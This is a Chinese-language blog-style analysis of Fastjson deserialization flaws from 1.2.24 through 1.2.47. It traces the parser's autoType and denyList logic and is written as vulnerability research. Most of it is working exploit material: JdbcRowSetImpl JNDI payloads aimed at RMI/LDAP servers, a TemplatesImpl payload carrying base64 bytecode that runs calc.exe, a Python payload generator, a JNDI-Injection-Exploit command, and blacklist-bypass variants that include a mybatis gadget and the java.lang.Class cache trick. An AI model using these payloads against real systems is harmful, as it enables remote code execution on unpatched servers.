Fastjson反序列化漏洞分析
这篇文章,基本是对着先知社区上的文章,再加上自己的一小部分理解复现出来的。
前置知识:Java基础、反射、泛型、Java Bean等。。
fastjson简介
fastjson是Alibaba开发的一个json序列化/反序列化的一个java库,官方说的是全世界最快的json解析库。在国内得到了广泛的使用。
反序列化漏洞基本的原理
payload
先看一下有哪些版本存在漏洞, 先给一下payload
// payload 1
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/aaa",
"autoCommit": true
}
}
// payload 2
{
"rand3": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://127.0.0.1:1099/aaa",
"autoCommit": true
}
}
其中 payload1 是”通杀“ payload,payload2 是 1.2.24 ~ 1.2.41 在启用 AutoType 时可用的 payload,这两个结合就覆盖了所有的 case。
几个关键的函数
public static Object parse(@Nullable String text)
public static <T> T parseObject(@Nullable String text,Class <T> clazz)
public static String toJSONString(@Nullable Object object
简单的序列化与反序列化
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Fastjson1224Test {
public static void main(String[] args) {
Student s = new Student();
s.setName("name1");
s.setAge(12);
System.out.println(JSON.toJSONString(s));
// 上面的会输出{"age":12,"name":"name1"}
}
}
class Student {
private String name;
private int age;
// Getter && Setter && Constructor
}
注意一下JSON.toJsonString(s)
输出的是{"age":12,"name":"name1"}
如果后面再加一个参数
JSON.toJSONString(s, SerializerFeature.WriteClassName)
输出的就变成了
{"@type":"Student","age":12,"name":"name1"}
这个@type就是我们这个反序列化漏洞的关键点
@type
我们来反序列化一下对象:
JSON.parse / JSON.parseObject
System.out.println(JSON.parse("{\"age\":12,\"name\":\"name1\"}").getClass().toString());
System.out.println(JSON.parse("{\"@type\":\"Student\",\"age\":12,\"name\":\"name1\"}").getClass().toString());
/*输出为:
class com.alibaba.fastjson.JSONObject
调用构造函数
调用setAge
调用setName
class Student
可见,如果不指定type反序列化对象的话,会得到一个com.alibaba.fastjson.JSONObject
对象,指定了Student类的话,就会根据指定的对象来反序列化
还有一点需要注意的是,观察一下反序列化的过程,指定@type的话,是会自动调用对应类型的构造方法和setter的,这一点也是漏洞核心利用的点。
- com.alibaba.fastjson.JSONObject不能强制转换为其他类型
- 不指定@type不会调用构造方法和setter
- 指定@type时,parse只会调用构造方法和setter,而parseObject会额外调用getter
- 跟进parseObject()可以看到和parse的区别:public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
简而言之,fastjson反序列化漏洞就是,Fastjson存在autoType机制,当用户指定@type时,存在调用恶意setter/getter的情况。
parse过程debug
在Setter里面写一下恶意代码
public void setName(String name) throws IOException {
System.out.println("setName");
this.name = name;
Runtime.getRuntime().exec("calc.exe");
}
开始debug,省略最前面的两步
第1步
JSON.class
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
环境变量
text = "{"@type":"Student","age":12,"name":"name1"}"
DEFAULT_PARSER_FEATURE = 989
第2步
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
// 第3步
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
// 第4步
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
环境变量
text = "{"@type":"Student","age":12,"name":"name1"}"
features = 989
第3步
初始化parser
public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config);
}
// step
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
// 初始化一些配置,最重要的关注denyList
// 设置lexer.Token的值,用于处理不同类型的数据,如{},[]
// 此处我们的lexer.Token是12
}
环境变量
denyList = ["java.lang.Threa...", "java.lang.Threa..."]
第4步
public Object parse() {
return this.parse((Object)null);
}
环境变量
this 指的是之前的(DefaultJSONParser parser)
第5步
public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) {
case 12:
// 初始化JSONObject
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
//第6步
return this.parseObject((Map)object, fieldName);
otherCase..
}
}
第6步
这一步有点长,一直到第318行都是在找到”Student”类。
public final Object parseObject(Map object, Object fieldName) {
xxx
// 第7步
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
// 最后进入的调试代码
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
}
环境变量
key = "@type"
typeName = "Student"
clazz = {Class@724}"Class Student"
第7步
public ObjectDeserializer getDeserializer(Type type) {
ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer != null) {
return derializer;
} else if (type instanceof Class) {
// 第8步
return this.getDeserializer((Class)type, type);
} else if (type instanceof ParameterizedType) {
Type rawType = ((ParameterizedType)type).getRawType();
return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType);
} else {
return JavaObjectDeserializer.instance;
}
}
第8步
for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("parser deny : " + className);
}
}
环境变量
denyList = ["java.lang.Threa...", "java.lang.Threa..."]
再后面就到了第7步里面,直接继续往下调试即可,最后调用了set和get里面的方法。
核心调用Setter/Getter的代码com\alibaba\fastjson\parser\deserializer\FieldDeserializer.class的第89行method.invoke(object, value);
,再接下来跟进就是Setter了
1.2.24经典的2条链
刚刚知道了漏洞原理以及利用方式
我们可以进行一次简单的DNSlog查询验证漏洞的存在
JSON.parse("{\"@type\":\"java.net.InetAddress\",\"val\":\"7ua6ad.dnslog.cn\"}");
那么有什么好的类可以让我们达到RCE的效果呢,在1.2.22-1.2.24中可以利用JdbcRowSetImpl和Templateslmpl
在此之前,说一下rmi、ldap的利用,很复杂的知识,内容太多了,后面再学习。
- 简单的ldap和rmi可以用这个工具JNDI-Injection-Exploit v1.0
- 更多的ldap链,用这个工具比较方便JNDIExploit v1.2
- 后面遇到了java版本的问题,手动搭建rmi调试了半天才成功。
JdbcRowSetImpl
poc
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 127.0.0.1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/xymncb", "autoCommit":true}
踩坑
- fastjson端java版本问题:
- RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
- LADP利用JDK版本≤ 6u211 、7u201、8u191
Debug
最前面的parse过程已经分析过了,后面的可以跟着这篇文章走一下
Templateslmpl
这个是另一条链,不想写详细的复现了,直接上POC
POC.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
编译成POC.class,然后用python base64一下
import base64
fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
最后反序列化POC
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEABlRFTVBPQwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAALAAQADAANAA0ADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAARAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAWAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAAZAAgAGgAMAAAABAABABQAAQAVAAAAAgAW"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
1.2.25补丁(开启ast)
更新1.2.25后加上了补丁,将TypeUtils.loadClass替换为了checkAutoType()函数,并且使用黑白名单验证方式。实际上是没什么卵用的。
fastjson
在1.2.42开始,把原本明文的黑名单改成了哈希过的黑名单,防止安全研究者对其进行研究。然并卵,hash依然可以对应出明文。黑白名单列表
debug一下看看调用栈是跟之前不一样的,在注意一下右下角的denyList比之前多了很多类。
黑白名单判断逻辑也很容易debug出来:默认情况不开启autoTypeSupport(ats)。在ats为false的情况下先检查黑名单,再检查白名单,通过验证加载类。开启ats直接加载类。
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
我们可以先把ats设置成true后debug一下后面的过程,只需要在反序列化之前加上一句代码即可:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
如果我们选择反序列化com.sun.rowset.JdbcRowSetImpl
那肯定会被黑名单中的com.sun
拦截掉。继续看看loadClass()
后的代码,可以很清楚的看到这两个判断语句的递归调用是能够pass掉之前的黑名单判断的:
写这两句话的原因问了大佬说是跟兼容字节码有关
所以当ats设置为true的时候,我们有了以下bypass黑名单的payload
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://127.0.0.1:1099/s4jb8f", "autoCommit":true}
按理来说第一个if语句也能达到bypass的效果,可以试一下,在类名前面加一个[符号,运行可以看到报错信息:
意思是第42个字符应该要是[,加上即可。运行又看到了报错:
提示我们在第43个字符的位置加上{,加上后顺利打通!
payload
"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://172.23.26.66:1099/s4jb8f\", \"autoCommit\":true}"
1.2.43补丁(开启ast)
1.2.43在之前的基础上ban掉了双L开头的类
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null) { return null; } else if (typeName.length() < 128 && typeName.length() >= 3) { String className = typeName.replace('$', '.'); Class<?> clazz = null; long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { throw new JSONException("autoType is not support. " + typeName); }
实际上我们刚刚上面分析的一种情况就可以绕过这个漏洞了
"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://172.23.26.66:1099/s4jb8f\", \"autoCommit\":true}"
1.2.45补丁(开启ast)
这个版本的补丁针对第一个出现[进行检查,第一个出现[直接抛出异常。
当目标服务端出现mybatis.jar时,可以绕过黑名单检查,payload:
mybatis版本:3.0.0-3.5.0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
绕过ast通杀1.2.25-47
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两个版本段:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
poc:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
不想debug了,建议自己手动debug验证一下bypass的过程,也可以阅读一下文末的参考文章。
最后,在1.2.48,被打上了补丁。补丁内容是在loadClass时,将缓存开关默认设置为False,所以就不会通过缓存的判断。同时将Class类加入了黑名单。
未来……
我们看了这么多版本的fastjson,也能看出fastjson反序列化漏洞就是不停的修修补补,绕过,补上,又绕过,又补上。也体现出来了红蓝对抗的思想。实际上在2021年hvv期间也爆出了疑似fastjson的0day(有视频验证),所以,踏上挖掘漏洞的道路吧,说不定下一个CVE编号就是你的。